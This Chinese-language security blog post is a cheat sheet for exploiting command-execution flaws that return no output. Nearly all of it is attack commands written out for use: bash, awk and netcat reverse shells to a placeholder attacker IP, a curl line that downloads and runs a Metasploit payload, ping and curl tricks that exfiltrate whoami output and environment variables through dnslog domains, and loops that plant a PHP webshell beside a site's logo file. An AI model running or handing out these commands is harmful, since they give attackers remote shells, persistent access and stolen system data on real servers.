命令执行无回显利用总结 附工具

命令执行无回显利用总结 附工具

两年半网安练习生 2024-07-05 18:32

免责声明

安全圈子我最菜(本公众号)的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!

前言

命令执行漏洞是指在一个应用程序或系统中存在缺陷,使得攻击者能够通过输入恶意命令来执行任意代码,从而获取未经授权的访问权限。这类漏洞通常发生在用户输入没有被正确验证或过滤的情况下,攻击者可以通过操纵输入来执行系统命令。

命令执行漏洞可能存在于各种不同的软件和系统中,包括网页应用、操作系统、数据库系统等。攻击者通常会尝试通过输入特定的命令或利用系统命令执行漏洞来获取更高的权限、访问敏感信息或执行恶意操作。

但在测试的过程中,经常会遇到RCE漏洞没有回显的情况,这种不能直接在页面上看到命令执行的结果,本篇文章来看看遇到这种情况如何去利用。

反弹shell

要利用一个命令执行点,最有效的方式便是反弹shell了。反弹shell的方式方法有很多,下面介绍几种反弹shell的方式。

Bash反弹shell TCP

目标机:

bash -c ‘exec bash -i
&>/dev/tcp/x.x.x.x/6666 <&1’

攻击机:

nc -lvvp 6666

Bash反弹shell UDP

目标机:

sh -i >& /dev/udp/x.x.x.x/6666
0>&1

攻击机:

nc -u -lvp 6666

AWK反弹shell

目标机:

awk ‘BEGIN {s = “/inet/tcp/0/x.x.x.x/6666”;
while(42) { do{printf “shell>” |& s; s |& getline c;
if(c){ while ((c |& getline) > 0) print $0 |& s; close(c);}} while(c
!= “exit”) close(s)}}’ /dev/null

攻击机:

nc -lvvp 6666

nc反弹shell

目标机:

nc -e /bin/sh x.x.x.x 6666

攻击机:

nc -lvp 6666

如果nc没有-e参数

使用nc x.x.x.x 6666 | /bin/bash | nc x.x.x.x
5555#从6666端口获取到命令,bash 运行后将命令执行结果返回 5555 端口,攻击者主机上也是打开两个终端分别执行监听。

上线MSF

目标机:

curl http://0.0.0.0:40160/bins -o /opt/bins
-k;chmod +x /opt/bins;/opt/bins > /dev/null 2>&1 &

攻击机
msf执行监听:

DNS外带利用

可以通过dnslog外带来获取命令执行后的结果,从而方便我们来判断命令是否执行成功以及进行更深层次的利用。缺点就是dnslog一般只能带出一条数据。

Windows环境

    1. 用户变量

使用
%用户变量
%来获取信息

ping %USERNAME%.7irz77.dnslog.cn

常用的用户变量如下:

%USERNAME%

返回当前登录的用户的名称。

%USERDOMAIN%

返回包含用户帐户的域的名称。

%OS%

返回操作系统名称。

%USERPROFILE%

返回当前用户的配置文件的位置。

%ALLUSERSPROFILE%

返回所有用户配置文件的位置。

%APPDATA%

返回默认情况下应用程序存储数据的位置。

%CD%   

返回当前目录字符串。

%CMDCMDLINE%

返回用来启动当前的 Cmd.exe 的准确命令行。

%CMDEXTVERSION%

返回当前的“命令处理程序扩展”的版本号。

%COMPUTERNAME%

返回计算机的名称。

%COMSPEC%

返回命令行解释器可执行程序的准确路径。

%DATE%

返回当前日期。

%ERRORLEVEL%

返回上一条命令的错误代码。

%HOMEDRIVE%

返回连接到用户主目录的本地工作站驱动器号。

%HOMEPATH% 

返回用户主目录的完整路径。

%HOMESHARE%

返回用户的共享主目录的网络路径。

%LOGONSERVER%

返回验证当前登录会话的域控制器的名称。

%NUMBER_OF_PROCESSORS%

指定安装在计算机上的处理器的数目。

%PATH%

指定可执行文件的搜索路径。

%PATHEXT%

返回操作系统认为可执行的文件扩展名的列表。

%PROCESSOR_ARCHITECTURE%

返回处理器的芯片体系结构。

%PROCESSOR_IDENTFIER%

返回处理器说明。

%PROCESSOR_LEVEL%

返回计算机上安装的处理器的型号

%PROCESSOR_REVISION% 

返回处理器的版本号。

%WINDIR%

返回操作系统目录的位置。

2.     for命令

使用for加ping命令

for /F “delims=\” %i in
(‘whoami’) do ping %i.v0c9yy.dnslog.cn

执行命令之后,在dnslog平台获取到命令执行的结果。

Linux环境

  1. 1.     反引号

命令如下:

ping whoami.i7ac34.dnslog.

    1. $()

命令如下:

ping $(whoami).rg6u4i.dnslog.cn

  1. 3.     Curl

命令如下:

curl http://x.x.x.x:8000/whoami

写入webshell

当我们要写webshell的时候,就必须要知道绝对路径,然后在实际情况下我们往往是都不知道路径的。那么如何在不知道路径的情况下写入webshell呢?

思路是可以在网站上找到一个静态的资源,例如我们知道这个网站有一个logo.png,我们不需要知道它的绝对路径就可以通过下面的方式,在该图片路径下创建一个logo.png.php文件。

Windows环境

命令如下:

for /r C:\%i  in  (logo.png) do @echo  “123456” > %i.php

下面这张图可以看到已经成功写入 logo.png.php文件

Linux环境

命令如下:

for i in find /tmp -name "logo.png";
do echo “123456” >basename $i.php; done

下面这张图可以看到已经成功写入 logo.png.php文件

工具获取

工具利用:

关注 安全圈子我最菜 公众号 回复 20240204 (后面不要加空格 加空格无法获取回复)获取工具下载链接

本工具或文章来源于网络,若
有侵权请联系作者删除,请在
24
小时内删除,请勿用于商业行为,自行查验是否具有后门,切勿相信软件内的广告!